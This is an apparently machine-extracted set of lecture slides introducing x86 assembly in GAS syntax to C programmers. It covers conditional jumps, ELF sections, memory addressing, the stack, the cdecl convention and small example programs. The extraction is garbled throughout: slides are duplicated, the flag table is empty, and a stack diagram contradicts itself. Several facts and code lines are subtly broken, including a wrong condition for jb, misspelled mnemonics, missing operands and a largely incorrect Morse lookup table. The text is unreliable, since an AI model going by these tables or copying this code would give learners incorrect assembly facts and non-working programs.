| CF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| TF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| IF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| DF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| NT                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |
| RF                  |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |

<table>
<thead>
<tr>
<th>Instruction</th>
<th>OF</th>
<th>SF</th>
<th>ZF</th>
<th>AF</th>
<th>PF</th>
<th>CF</th>
<th>TF</th>
<th>IF</th>
<th>DF</th>
<th>NT</th>
<th>RF</th>
</tr>
</thead>
<tbody>
<tr>
<td>AAA</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AAD</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AAM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AAS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ADC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ADD</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AND</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ARPL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>BOUND</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DECJ</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
# Conditional Jumps

<table>
<thead>
<tr>
<th>Instruction</th>
<th>%eflags Condition</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>jmp &lt;label&gt;</strong></td>
<td>-</td>
<td>Unconditional Jump</td>
</tr>
<tr>
<td><strong>Unsigned Conditional Jumps</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ja / jnbe &lt;label&gt;</td>
<td>(CF or ZF) = 0</td>
<td>Above / Not below or equal</td>
</tr>
<tr>
<td>jae / jnb &lt;label&gt;</td>
<td>CF = 0</td>
<td>Above or equal / Not below</td>
</tr>
<tr>
<td>jb / jnae &lt;label&gt;</td>
<td>(CF or ZF) = 1</td>
<td>Below / Not above or equal</td>
</tr>
<tr>
<td>jc &lt;label&gt;</td>
<td>CF = 1</td>
<td>Carry</td>
</tr>
<tr>
<td>je/jz &lt;label&gt;</td>
<td>ZF = 1</td>
<td>Equal / Zero</td>
</tr>
<tr>
<td>jnc &lt;label&gt;</td>
<td>CF = 0</td>
<td>Not Carry</td>
</tr>
<tr>
<td>jne/jnz &lt;label&gt;</td>
<td>ZF = 0</td>
<td>Not Equal / Not Zero</td>
</tr>
<tr>
<td><strong>Signed Conditional Jumps</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>jg / jnle &lt;label&gt;</td>
<td>((SF xor OF) or ZF) = 0</td>
<td>Greater / Not Less or Equal</td>
</tr>
<tr>
<td>jge / jnl &lt;label&gt;</td>
<td>(SF xor OF) = 0</td>
<td>Greater or Equal / Not Less</td>
</tr>
<tr>
<td>jl / jnge &lt;label&gt;</td>
<td>(SF xor OF) = 1</td>
<td>Less / Not Greater or Equal</td>
</tr>
<tr>
<td>jle / jng &lt;label&gt;</td>
<td>((SF xor OF) or ZF) = 1</td>
<td>Less or Equal / Not Greater</td>
</tr>
<tr>
<td>jno &lt;label&gt;</td>
<td>OF = 0</td>
<td>Not overflow</td>
</tr>
<tr>
<td>jns &lt;label&gt;</td>
<td>SF = 0</td>
<td>Not sign (non-negative)</td>
</tr>
<tr>
<td>jo &lt;label&gt;</td>
<td>OF = 1</td>
<td>Overflow</td>
</tr>
<tr>
<td>js &lt;label&gt;</td>
<td>SF = 1</td>
<td>Sign (negative)</td>
</tr>
</tbody>
</table>
Example Conditional Jumps (example-cond-jmp.S)

```assembly
.section .text
# cmpl %oper1, %oper2
# updates flags based on result of %oper2 - %oper1
cmpl %eax, %ecx
cmpl $0xFF, %eax

# conditional jumps
je label_foo # jump if %oper2 == %oper1
jg label_bar # jump if %oper2 > %oper1
jl label_xyz # jump if %oper2 < %oper1

# test %oper1, %oper2
# updates flags based on result of %oper2 & %oper1
testl %eax, %ecx
testl $0x1F, %eax

# arithmetic
# updates flags based on result
addl %eax, %ebx
incl %eax
dcl %ebx
```

# labels are just symbols containing an address to make it easy to specify addresses
label1:
label2:
    movl $0, %eax  # %eax = 0
    incl %eax     # %eax++ ; ZF set to 0!
    jz label1     # Jump if ZF = 1 (not taken)
    jnz label3    # Jump if ZF = 0 (taken)
    decl %eax     # I won’t be executed
label3:
    nop
    nop            # Execution will fall
label4:    # through label4
    jmp label1    # Jump back to label1

# Loops
movl $10, %eax
loop:
    nop
    decl %eax
    jnz loop

# Direct Comparison
cmpl $0x05, %eax
je label_foo    # Jump to label_foo if %eax == 5
$ as example-cond-jmp.S -o example-cond-jmp.o
$ ld example-cond-jmp.o -o example-cond-jmp
$ objdump -D example-cond-jmp

Disassembly of section .text:

```
08048054  <_start>:
  8048054:  39  c1     cmp   %eax,%ecx
  8048056:  3d  ff 00 00 00  cmp   $0xff,%eax
  804805b:  74  2c     je   8048089  <label_foo>
  804805d:  7f  2b     jg   804808a  <label_bar>
  804805f:  7c  2a     jl   804808b  <label_xyz>
  8048061:  85  c1     test  %eax,%ecx
  8048063:  a9  1f 00 00 00  test  $0x1f,%eax
  8048068:  01  c3     add  %eax,%ebx
  804806a:  40     inc  %eax
  804806b:  4b     dec  %ebx
...
```
Example Conditional Jumps (example-cond-jmp.S) Disassembly

0804806c <label1>:
  804806c: b8 00 00 00 00      mov $0x0,%eax
  8048071: 40                  inc %eax
  8048072: 74 f8                je 804806c <label1>
  8048074: 75 01                jne 8048077 <label3>
  8048076: 48                  dec %eax

08048077 <label3>:
  8048077: 90                  nop
  8048078: 90                  nop

08048079 <label4>:
  8048079: eb f1                jmp 804806c <label1>
  804807b: b8 0a 00 00 00      mov $0xa,%eax

08048080 <loop>:
  8048080: 90                  nop
  8048081: 48                  dec %eax
  8048082: 75 fc                jne 8048080 <loop>
  8048084: 83 f8 05             cmp $0x5,%eax
  8048087: 74 00                je 8048089 <label_foo>

...
Program Example: Iterative Fibonacci
Iterative Fibonacci (fibonacci.S)

.section .text
.global main
main:
   movl $0, %ecx  # f_n-2 = 0
   movl $1, %ebx  # f_n-1 = 1
   movl $1, %eax  # f_n   = 1
   movl $12, %edi # Number of integers to compute

fib_loop:
   # Print %eax
   call myprint

   movl %ebx, %ecx  # f_n-1 -> f_n-2
   movl %eax, %ebx  # f_n   -> f_n-1
   addl %ecx, %eax  # New f_n = Old f_n + f_n-2

   # Decrement %edi
   decl %edi
   jnz fib_loop

ret

myprint:
   ...

Program Example: Iterative Fibonacci
Iterative Fibonacci (fibonacci.S) Output

$ as fibonacci.S -o fibonacci.o
$ gcc fibonacci.o -o fibonacci       # (Easy way to link with libc,
#   more on this, later)
$ ./fibonacci
1
2
3
5
8
13
21
34
55
89
144
233
$
Program Example: Iterative Fibonacci

Iterative Fibonacci (fibonacci.S) Disassembly

$ objdump -D fibonacci

Disassembly of section .text:
...

080483e4 <main>:
  80483e4: b9 00 00 00 00  mov $0x0,%ecx
  80483e9: bb 01 00 00 00  mov $0x1,%ebx
  80483ee: b8 01 00 00 00  mov $0x1,%eax
  80483f3: bf 0c 00 00 00  mov $0xc,%edi

080483f8 <fib_loop>:
  80483f8: e8 0a 00 00 00  call 8048407 <myprint>
  80483fd: 89 d9  mov %ebx,%ecx
  80483ff: 89 c3  mov %eax,%ebx
  8048401: 01 c8  add %ecx,%eax
  8048403: 4f  dec %edi
  8048404: 75 f2  jne 80483f8 <fib_loop>
  8048406: c3  ret

...

- Main code is only 35 bytes!
- Can easily be cut down to 28 bytes by optimizing the clears
Topic 4: Program Memory
Static Allocation in C

- From C, we’re used to uninitialized and initialized static memory allocations

```c
/* Uninitialized static allocation, read-write */
char buff[1024];
/* Initialized static allocations, read-write */
int foo = 5;
char str[] = "Hello World";
```
From C, we’re used to uninitialized and initialized static memory allocations

```c
/* Uninitialized static allocation, read-write */
char buff[1024];
/* Initialized static allocations, read-write */
int foo = 5;
char str[] = "Hello World";

/* Trickier example: */
char *p = "Hello World";
/* char *p is an initialized static allocation, read-write */
/* "Hello World" is initialized static allocation, READ-ONLY */

int main(void) {
    return 0;
}
```
Static Allocation in Assembly

- Responsible for manually specifying the contents of memory
- Description is stored in a binary format like ELF, in terms of sections, r/w/x permissions, and sizes
- OS is responsible for setting up memory as described in ELF binary in `execve()`
Static Allocation in Assembly

- Responsible for manually specifying the contents of memory
- Description is stored in a binary format like ELF, in terms of sections, r/w/x permissions, and sizes
- OS is responsible for setting up memory as described in ELF binary in `execve()`

- `section .text`: **read-only executable** program instructions
- `section .rodata`: initialized statically allocated **read-only data**
- `section .data`: initialized statically allocated **read-write data**
- `section .bss`: uninitialized statically allocated **read-write data**
Memory Layout

ELF File: prog

<table>
<thead>
<tr>
<th>ELF Header</th>
</tr>
</thead>
<tbody>
<tr>
<td>Program Header Table</td>
</tr>
<tr>
<td>.text</td>
</tr>
<tr>
<td>.rodata</td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>.data</td>
</tr>
<tr>
<td>.bss</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

Operating System execve()
Example Static Allocation (example-static-alloc.S)

# Put some instructions in .text
.section .text
_start:
    nop
    nop
    nop
    nop

# Put a string in .rodata
.section .rodata
    anotherStr: .ascii "Another string\n\0"

# Put some magic bytes in .data
.section .data
    magicByte1: .byte 0xaa
    magicBytes2: .byte 0x55, 0x10
    magicDWord: .long 0xdeadbeef
    magicStr: .ascii "String!\0"

# Reserve 1024 uninitialized bytes in .bss
.section .bss
    .comm Buffer, 1024
$ as example-static-alloc.S -o example-static-alloc.o
$ ld example-static-alloc.o -o example-static-alloc
$ objdump -D example-static-alloc

Disassembly of section .text:

08048074 <_start>:
  8048074:   90  nop
  8048075:   90  nop
  8048076:   90  nop
  8048077:   90  nop

Disassembly of section .rodata:

08048078 <anotherStr>:
  8048078:  41  inc   %ecx
  8048079:  6e  outsb %ds:(%esi),(%dx)
  804807a:  6f  outsl %ds:(%esi),(%dx)
  804807b:  74 68  je   80480e5 <anotherStr+0x6d>
  804807d:  65  gs
  804807e:  72 20  jb   80480a0 <anotherStr+0x28>
  8048080:  73 74  jae  80480f6 <anotherStr+0x7e>
  8048082:  72 69  jb   80480ed <anotherStr+0x75>
  8048084:  6e  outsb %ds:(%esi),(%dx)
  8048085:  67 0a 00  or  (%bx,%si),%al
Disassembly of section .data:

```x86
08049088 <magicByte1>:
  8049088:  aa stos %al,%es:(%edi)
08049089 <magicBytes2>:
  8049089:  55 push %ebp
  804908a:  10 ef adc %ch,%bh
0804908b <magicWord>:
  804908b:  ef out %eax,(%dx)
  804908c:  be ad de 53 74 mov $0x7453dead,%esi
0804908f <magicStr>:
  804908f:  53 push %ebx
  8049090:  74 72 je 8049104 <Buffer+0x64>
  8049092:  69 .byte 0x69
  8049093:  6e outsb %ds:(%esi),(%dx)
  8049094:  67 21 00 and %eax,(%bx,%si)
```

Disassembly of section .bss:

```x86
080490a0 <Buffer>:
  ...
```
Viewing Sections

We can also view the program’s sections with `objdump -x`.

```
$ objdump -x example-static-alloc
```

```plaintext
eexample-static-alloc: file format elf32-i386
example-static-alloc
architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048074

Program Header:

```
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00000088 memsz 0x00000088 flags r-x
LOAD off 0x00000088 vaddr 0x08049088 paddr 0x08049088 align 2**12
filesz 0x0000000f memsz 0x00000418 flags rw-
```

Sections:

```
Idx Name  Size   VMA      LMA     File off  Algn
 0 .text  00000004 08048074 08048074 00000074 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE
 1 .rodata 00000010 08048078 08048078 00000078 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA
 2 .data  0000000f 08049088 08049088 00000088 2**2 CONTENTS, ALLOC, LOAD, DATA
 3 .bss  00000400 080490a0 080490a0 00000097 2**4 ALLOC
...```

Topic 5: Reading/Writing Memory
We’ve already seen how to directly access memory addresses with their label representations.

```
.section .text
    movl magicDword, %eax  # %eax = *(magicDword)
    andb byteMask, %al    # %al = %al & *(byteMask)
    movl %eax, modifiedDword  # *(magicDword) = %eax

.section .rodata  # Read-only!
    magicDword: .long 0xffffffff
    byteMask:   .byte 0x55

.section .bss  # Uninitialized read-write
    .comm modifiedDword, 4
```
Directly Accessing Memory

- We’ve already seen how to directly access memory addresses with their label representations

```
.section .text
    movl magicDword, %eax  # %eax = *(magicDword)
    andb byteMask, %al    # %al = %al & *(byteMask)
    movl %eax, modifiedDword  # *(magicDword) = %eax

.section .rodata  # Read-only!
    magicDword: .long 0xffffffff
    byteMask:   .byte 0x55

.section .bss  # Uninitialized read-write
    .comm modifiedDword, 4
```

- The memory addresses are directly encoded in the instructions:

Disassembly of section .text:

- `movl magicDword, %eax`  # %eax = *(magicDword)
- `andb byteMask, %al`  # %al = %al & *(byteMask)
- `movl %eax, modifiedDword`  # *(magicDword) = %eax

Disassembly:

- `8048074: a1 85 80 04 08 mov 0x8048085,%eax`
- `8048079: 22 05 89 80 04 08 and 0x8048089,%al`
- `804807f: a3 8c 90 04 08 mov %eax,0x804908c`
Indirect Memory Access

- Many x86 instructions are capable of complex indirect addressing:
  *(base register + (offset register * multiplier) + displacement)

- GAS Syntax:
  displacement(base register, offset register, multiplier)

Indirect Memory Access makes it easy to address tables/structures.
Indirect Memory Access

- Many x86 instructions are capable of complex indirect addressing:
  
  *(base register + (offset register * multiplier) + displacement)

- GAS Syntax:
  
  displacement(base register, offset register, multiplier)

  - Base register can be any general purpose register
  - Offset register can be any general purpose register except %esp
  - Multiplier can be 1, 2, 4, 8
  - Displacement is signed, up to 16-bits

Some examples:

  movl %eax, 8(%ebx, %ecx, 4) # *(%ebx + 4*%ecx + 8) = %eax
  movl %eax, 12(%ebp) # *(%ebp + 12) = %eax
  movl %eax, (%ebx) # *(%ebx) = %eax

These make it easy to address tables/structures.
Many x86 instructions are capable of complex indirect addressing:

\[ \text{*(base register + (offset register \times multiplier) + displacement)} \]

**GAS Syntax:**

\[ \text{displacement(base register, offset register, multiplier)} \]

- Base register can be any general purpose register
- Offset register can be any general purpose register except \%esp
- Multiplier can be 1, 2, 4, 8
- Displacement is signed, up to 16-bits

Not all fields are required. A simplified indirect address: \( (\%ebx) \)

- `movl %eax, 8(\%ebx, \%ecx, 4)`  # \( \text{*(\%ebx + 4\%ecx + 8) = \%eax} \)
- `movl %eax, 12(\%ebp)`  # \( \text{*(\%ebp + 12) = \%eax} \)
- `movl %eax, (\%ebx)`  # \( \text{*(\%ebx) = \%eax} \)
Indirect Memory Access

- Many x86 instructions are capable of complex indirect addressing:
  
  \[ *(\text{base register} + (\text{offset register} \times \text{multiplier}) + \text{displacement}) \]

- GAS Syntax:
  
  \[ \text{displacement(base register, offset register, multiplier)} \]
  
  - Base register can be any general purpose register
  - Offset register can be any general purpose register except %esp
  - Multiplier can be 1, 2, 4, 8
  - Displacement is signed, up to 16-bits

- Not all fields are required. A simplified indirect address: (\%ebx)
  
  \[
  \begin{align*}
  & \text{movl} \ %\text{eax}, 8(\%\text{ebx}, \%\text{ecx}, 4) \quad \# \ *(\%\text{ebx} + 4*\%\text{ecx} + 8) = \%\text{eax} \\
  & \text{movl} \ %\text{eax}, 12(\%\text{ebp}) \quad \# \ *(\%\text{ebp} + 12) = \%\text{eax} \\
  & \text{movl} \ %\text{eax}, (\%\text{ebx}) \quad \# \ *(\%\text{ebx}) = \%\text{eax}
  \end{align*}
  \]

- Makes it easy to address tables/structures
Example Indirect Memory Access (example-indirect-mem.S)

```
.section .text
_start:
    movl $tableStart, %ebx  # Pointer to table start
    # We are moving the *value*
    # $tableStart, this is not a
    # memory access!

    movl $0, %ecx
    loop:
        movl (%ebx, %ecx, 4), %eax  # %eax = *(%ebx + 4*%ecx)
        notl %eax  # %eax = ~%eax
        movl %eax, (%ebx, %ecx, 4)  # *(%ebx + 4*%ecx) = %eax
        incl %ecx
        cmpl $10, %ecx
        jl loop

.section .data
tableStart:  .long 0x00000000, 0x00000001
            .long 0x00000002, 0x00000003
            .long 0x00000004, 0x00000005
            .long 0x00000006, 0x00000007
            .long 0x00000008, 0x00000009
```
Ex. Indirect Memory Access (example-indirect-mem.S) Disassembly

$ as example-indirect-mem.S -o example-indirect-mem.o
$ ld example-indirect-mem.o -o example-indirect-mem
$ objdump -D example-indirect-mem

Disassembly of section .text:

08048074  <_start>:
  8048074: bb 90 90 04 08  mov   $0x8049090,%ebx
  8048079: b9 00 00 00 00  mov   $0x0,%ecx
0804807e  <loop>:
  804807e: 8b 04 8b     mov   (%ebx,%ecx,4),%eax
  8048081: f7 d0      not   %eax
  8048083: 89 04 8b    mov   %eax,(%ebx,%ecx,4)
  8048086: 41         inc   %ecx
  8048087: 83 f9 0a    cmp   $0xa,%ecx
  804808a: 7c f2       jl    804807e <loop>
  804808c: 90         nop

Disassembly of section .data:

08049090  <tableStart>:
  8049090: 00 00       add   %al,(%eax)
  8049092: 00 00       add   %al,(%eax)
  8049094: 01 00       add   %eax,(%eax)
  8049096: 00 00       add   %al,(%eax)
  8049098: 02 00       add   (%eax),%al
  ...
Program Example: Morse Encoder
Program Example: Morse Encoder

Morse Encoder (morse_encoder.S)

[section .text]
[global main]
main:
movl $inputWord, %esi # Pointer to input word
movl $outputMorse, %edi # Pointer to output morse
movl $0, %eax # Clear %eax

encode_loop:
movb (%esi), %al # Read the next byte of input to %al
incl %esi # Increment input word pointer
testb %al, %al # If we encounter a null byte
jz finished # jump to finished
subb $'A', %al # Adjust %al to be relative to 'A'

subb $'A', %al # Adjust %al to be relative to 'A'
movl $MorseTable, %ecx # Initialize %ecx morse table pointer
lookup:
  movb (%ecx, %eax, 8), %bl # %bl = *(%ecx + 8*%eax)
cmpb $' ', %bl # If we encounter a space
je lookup_done # break out of the loop
Program Example: Morse Encoder

Morse Encoder (morse_encoder.S) Continued

# (inside lookup loop)

    movb %bl, (%edi)  # Copy the code character to our output morse
    incl %edi         # Increment output morse pointer

    incl %ecx
    jmp lookup        # Loop

lookup_done:

    movb $ , (%edi)  # Copy a space to the output morse
    incl %edi        # Increment output morse pointer
    movb $ , (%edi)  # ...
    incl %edi        # ...
    movb $ , (%edi)  # ...
    incl %edi        # ...

    jmp encode_loop

finished:

    movb $0x00, (%edi) # Append a null byte to the output morse
    incl %edi          # Increment output morse pointer
pushl $outputMorse  # Call puts(outputMorse);
call puts
addl $4, %esp

movl $0, %eax  # Return 0
ret

.section .rodata
# Morse code lookup table
MorseTable:
.ascii ".- " , "-... " , "-.-. " , "-.. " # A, B, C, D
.ascii ". " , "..-. " , "--. " , ".... " # E, F, G, H
.ascii ".-.. " , ".-. " , "--- " , "-. " # I, J, K, L
.ascii ".-- " , "-..- " , "-.-- " , "--. " # M, N, O, P
.ascii "-.-- " , "-. " , "--. " , "-. " # Q, R, S, T
.ascii "-. -. " , "" , "" , "" # U, V, W, X
.ascii "-. -. " , "" , "" , "" # Y, Z

.section .data
# Input Word Storage
inputWord: .ascii "HELLO\0"

.section .bss
# Output Morse Code Storage
.comm outputMorse, 64
Morse Encoder (morse_encoder.S) Runtime

$ as morse_encoder.S -o morse_encoder.o
$ gcc morse_encoder.o -o morse_encoder
$ ./morse_encoder
.... . .-.. .-.. ---
$
Topic 6: Stack
From C, we’re used to automatic memory allocations in functions and blocks `{ ... }` in general.

```c
int main(void) {
    int i; /* Automatic allocation */
    char buff[8]; /* Automatic allocation */

    while (1) {
        int j; /* Automatic allocation */
        ...
    }

    return 0;
}
```

These allocations typically live on the stack.
LIFO Stack Data Structure

Top → "Bar"
"Foo"

push "Apple"
Top → "Apple"
"Bar"
"Foo"

pop -> "Orange"
Top → "Orange"
"Apple"
"Bar"
"Foo"

pop -> "Apple"
Top → "Apple"
"Bar"
"Foo"

pop -> "Bar"
Top → "Bar"
"Foo"
x86 Stack

- Implemented in hardware with a "stack pointer" `%esp` and a chunk of memory
- x86 stack is **last in first out, descending**, and `%esp` points to allocated memory
- OS sets up valid `%esp` at program start
We can push by adjusting and writing to `%esp`, or with the atomic `push` instruction.

```
subl $4, %esp
movl $0x00000001, (%esp)
OR, atomically
pushl $0x00000001
```
We can push by reading from and adjusting `%esp`, or with the atomic `pop` instruction:

```
movl (%esp), %ebx
addl $4, %esp
OR, atomically
popl %ebx
```
We can batch allocate/deallocate space by simply adjusting %esp.
Topic 6: Stack

Example Stack Usage (example-stack.S)

```assembly
# Stack is now
# | ... | <-- %esp = 0x8xxxxxxx

movl $0x05, %eax  # Load 0x00000005 into %eax
pushl %eax      # Push dword 0x00000005 onto the stack
incl %eax       # %eax += 1
pushl %eax      # Push dword 0x00000006 onto the stack
pushl $0xdeadbeef  # Push dword 0xdeadbeef onto the stack

# Stack is now
# | ... |
# | 0x00000005 |
# | 0x00000006 |
# | 0xdeadbeef |  <-- %esp = 0x8xxxxxxx

popl %ebx    # Pop dword off of the stack, %ebx = 0xdeadbeef now

# Stack is now
# | ... |
# | 0x00000005 |
# | 0x00000006 |  <-- %esp = 0x8xxxxxxx
# | 0xdeadbeef |
```

x86 Assembly Primer for C Programmers

January 22/24, 2013 74 / 172
# Stack is now
# | ... |
# | 0x00000005 |
# | 0x00000006 | <-- %esp = 0x8xxxxxxxx
# | 0xdeadbeef |

addl $4, %esp     # Deallocate 4 bytes off of the stack

# Stack is now
# | ... |
# | 0x00000005 | <-- %esp = 0x8xxxxxxxx
# | 0x00000006 |
# | 0xdeadbeef |

movl $0xaaaaaaaa, (%esp)  # Write 0xaaaaaaaa to the stack

# Stack is now
# | ... |
# | 0xaaaaaaaa | <-- %esp = 0x8xxxxxxxx
# | 0x00000006 |
# | 0xdeadbeef |
Example Stack Usage (example-stack.S) Disassembly

$ as example-stack.S -o example-stack.o
$ ld example-stack.o -o example-stack
$ objdump -D example-stack

Disassembly of section .text:

08048054 <_start>:
  8048054: b8 05 00 00 00  mov   $0x5,%eax
  8048059: 50     push   %eax
  804805a: 40     inc    %eax
  804805b: 50     push   %eax
  8048061: 68 ef be ad de  push   $0xdeadbeef
  8048065: 5b     pop    %ebx
  8048066: 83 c4 04   add    $0x4,%esp
  8048069: c7 04 24 aa aa aa aa  movl   $0xaaaaaaaaa,(%esp)

...
Topic 7: Functions and cdecl Convention
call and ret

- `jmp <label>` merely updates `%eip` to address of `<label>`
- `call <label>` pushes a return address onto the stack, then jumps to `<label>`
- `ret` pops the return address off the stack, and jumps to it

```assembly
movl $0, %eax
call addOneToEax
# Stack is once again
# | ... |
call addOneToEax
# %eax is now 3

... addOneToEax:
  # Stack is now
  # | ... |
  # | retaddr | <- %esp
  incl %eax
  ret
```
Function Arguments on the Stack

- Arguments can be passed on the stack to functions

```assembly
pushl $5  
call doubleArg  
# %eax is now 10

... 
doubleArg:    
    # Stack is now
    # | ... |      
    # | 0x00000005 | <- %esp+4
    # | retaddr   | <- %esp
    movl 4(%esp), %eax  # %eax = *(%esp+4)
    addl %eax, %eax  # %eax += %eax
    ret

- or via registers?

movl $5, %eax  
# %eax is 5
call doubleArg  
# %eax is now 10

doubleArg:    
    addl %eax, %eax  # %eax += %eax
    ret
```
How can we ensure that our CPU state (\%eax, \%ebx, \%ecx, \%edx, \%edi, ...) doesn’t get corrupted when a function needs to use those registers to do useful work?

**cdecl Calling Convention**

- How should we pass arguments to functions?
  - Fixed memory addresses?
  - Stack?
  - Registers?

GCC on Linux uses the cdecl calling convention:
- Function arguments pushed onto the stack from right to left
- \%eax, \%ecx, \%edx can be used by the function (must be preserved by caller if necessary)
- Other registers are preserved by function
- Return value in \%eax
- Function arguments pushed onto the stack must be cleaned up by caller
cdecl Calling Convention

- How can we ensure that our CPU state (%eax, %ebx, %ecx, %edx, %edi, ...) doesn’t get corrupted when a function needs to use those registers to do useful work?
- How should we pass arguments to functions?
  - Fixed memory addresses? Stack? Registers?
How can we ensure that our CPU state (%eax, %ebx, %ecx, %edx, %edi, ...) doesn't get corrupted when a function needs to use those registers to do useful work?

How should we pass arguments to functions?
- Fixed memory addresses? Stack? Registers?

GCC on Linux uses the cdecl calling convention
- function arguments pushed onto the stack from right to left
- %eax, %ecx, %edx can be used by the function (must be preserved by caller if necessary)
- other registers are preserved by function
- return value in %eax
- function arguments pushed onto the stack must be cleaned up by caller
Topic 7: Functions and cdecl Convention

Example cdecl Calling Convention (example-cdecl.S)

```assembly
.globl sumThreeNumbers
.sumThreeNumbers:
 # Stack is now
 #   ... |  
 #   12  | <- %esp+12
 #   5   | <- %esp+8
 #   42  | <- %esp+4
 # | retaddr | <- %esp

# sumThreeNumbers(*magicNumber, 5, 12);
pushl $12  # Push 0x000000C
pushl $5   # Push 0x0000005
pushl magicNumber  # Push *magicNumber
call sumThreeNumbers
addl $12, %esp  # Clean up arguments off of the stack
# %eax is 59

movl $0, %eax  # Clear %eax
addl 4(%esp), %eax  # %eax += *(%esp+4)
addl 8(%esp), %eax  # %eax += *(%esp+8)
addl 12(%esp), %eax  # %eax += *(%esp+12)
ret

.data
magicNumber: .long 42
```

x86 Assembly Primer for C Programmers  January 22/24, 2013  81 / 172
Example cdecl Calling Convention (example-cdecl.S) Disassembly

$ as example-cdecl.S -o example-cdecl.o
$ ld example-cdecl.o -o example-cdecl
$ objdump -D example-cdecl

Disassembly of section .text:

08048074 <_start>:
  8048074:  6a 0c           push $0xc
  8048076:  6a 05           push $0x5
  8048078:  ff 35 98 90 04 08 pushl 0x8049098
  804807e:  e8 03 00 00 00 00 call 8048086 <sumThreeNumbers>
  8048083:  83 c4 0c         add $0xc,%esp

08048086 <sumThreeNumbers>:
  8048086:  b8 00 00 00 00 00 mov $0x0,%eax
  804808b:  03 44 24 04       add 0x4(%esp),%eax
  804808f:  03 44 24 08       add 0x8(%esp),%eax
  8048093:  03 44 24 0c       add 0xc(%esp),%eax
  8048097:  c3                 ret

Disassembly of section .data:

08049098 <magicNumber>:
  8049098:  2a 00           sub (%eax),%al
  ...

x86 Assembly Primer for C Programmers  January 22/24, 2013  82 / 172
Example cdecl with libc (example-libc.S)

- libc library functions you use in C (strings, math, time, files, sockets, etc.) are all accessible in assembly when linking with libc
- Follow the cdecl calling convention

```
.section .text
.global main
main:
    # %eax = time(NULL);
pushl $0
    call time
    add $4, %esp

    # *curtime = %eax
    movl %eax, curtime

    # %eax = localtime(&curtime);
pushl $curtime
    call localtime
    add $4, %esp

    # %eax = asctime(%eax);
pushl %eax
    call asctime
    add $4, %esp
```
Example cdecl with libc (example-libc.S) Continued

```assembly
# printf("%s\n", %eax);
pushl %eax
pushl $formatStr
call printf
add $8, %esp

ret

.section .data
.comm curtime, 4
formatStr: .ascii "%s\0"
```

Runtime:

```bash
$ as example-libc.S -o example-libc.o
$ gcc example-libc.o -o example-libc
$ ./example-libc
$
Example cdecl with libc (example-libc.S) Disassembly

```bash
$ as example-libc.S -o example-libc.o
$ ld example-libc.o -o example-libc
$ objdump -D example-libc
```

Disassembly of section .text:

```
0804848c <main>:
  804848c: 6a 00 push $0x0
  804848e: e8 ad fe ff ff call 8048340 <time@plt>
  8048493: 83 c4 04 add $0x4,%esp
  8048496: a3 30 97 04 08 mov %eax,0x8049730
  804849b: 68 30 97 04 08 push $0x8049730
  80484a0: e8 cb fe ff ff call 8048370 <localtime@plt>
  80484a5: 83 c4 04 add $0x4,%esp
  80484a8: 50 push %eax
  80484a9: e8 a2 fe ff ff call 8048350 <asctime@plt>
  80484ae: 83 c4 04 add $0x4,%esp
  80484b1: 50 push %eax
  80484b2: 68 28 97 04 08 push $0x8049728
  80484b7: e8 74 fe ff ff call 8048330 <printf@plt>
  80484bc: 83 c4 08 add $0x8,%esp
  80484bf: c3 ret

...
Entry Points
Entry Points

Plain Entry Point

- ELF binary specifies an entry point address for the OS to set initial %eip to
- ld expects this to be specified by the symbol _start
Plain Entry Point

- ELF binary specifies an entry point address for the OS to set initial `%eip` to
- `ld` expects this to be specified by the symbol `_start`

```assembly
.section .text
.global _start  # Export the symbol
_start:
    nop          # Off to a good start...
    nop
    nop
    loop: jmp loop  # Loop forever
```

$ as test.S -o test.o
$ ld test.o -o test
$ ./test
libc Entry Point

- When we link with libc, it provides its own _start to do some initialization, which eventually will call main.
